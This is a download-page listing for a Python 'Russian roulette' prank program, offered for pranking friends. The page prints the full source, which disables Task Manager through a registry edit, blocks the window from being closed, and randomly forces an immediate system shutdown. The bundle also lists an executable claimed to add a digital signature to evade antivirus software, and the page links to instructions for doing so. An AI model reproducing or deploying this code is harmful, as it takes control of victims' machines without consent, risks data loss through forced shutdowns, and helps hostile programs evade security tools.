首页下载资源游戏开发Python俄罗斯转盘

ZIPPython俄罗斯转盘

J53062610.09MB需要积分:1

资源文件列表:

俄罗斯转盘.zip 大约有3个文件
  1. 俄罗斯转盘游戏.exe 10.2MB
  2. 加载数字签名,可免疫杀软(不一定成功).exe 385KB
  3. 俄罗斯转盘.py 1.28KB

资源介绍:

一个Python小白写的程序,可以用来整蛊好基友,内容包括无法关闭,禁用任务管理(可能会报毒),考虑到不少人没有Python环境,所以本人已将其打包为exe,另附源码给各位大佬参考学习,不喜勿喷,本资源完全免费,如果想要学习其中的原理,可以关注本人,会讲。谢谢。望过审。如果想要学习加数字签名请看https://blog.csdn.net/dounick/article/details/105643285(不是我的)
import random import time import tkinter.messagebox import tkinter as tk import os import winerror import win32api import win32process import time root=tk.Tk() number=0 path1 =r'reg delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system" /f' path2=r'REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d "1" /f' def game(): number=random.randrange(1,5) if number==1: tk.messagebox.showinfo('俄罗斯转盘','你死了') os.system(path1) time.sleep(2.5) os.system('shutdown -s -t 0') else: tk.messagebox.showinfo('俄罗斯转盘','逃过一劫') root.title('俄罗斯转盘') def callback(): pass os.system(path2) root.protocol('WM_DELETE_WINDOW',callback) screenWidth = root.winfo_screenwidth() screenHeight = root.winfo_screenheight() width = 300 height = 160 left = (screenWidth - width) / 2 top = (screenHeight - height) / 2 root.geometry("%dx%d+%d+%d" % (width, height, left, top)) xiaoanniu=tk.Button(root,text='开枪' ,command=game) root.grid_rowconfigure(0, weight=1) root.grid_columnconfigure(0, weight=1) xiaoanniu.grid(row=0, column=0, padx=10, pady=10) root.mainloop()
100+评论
captcha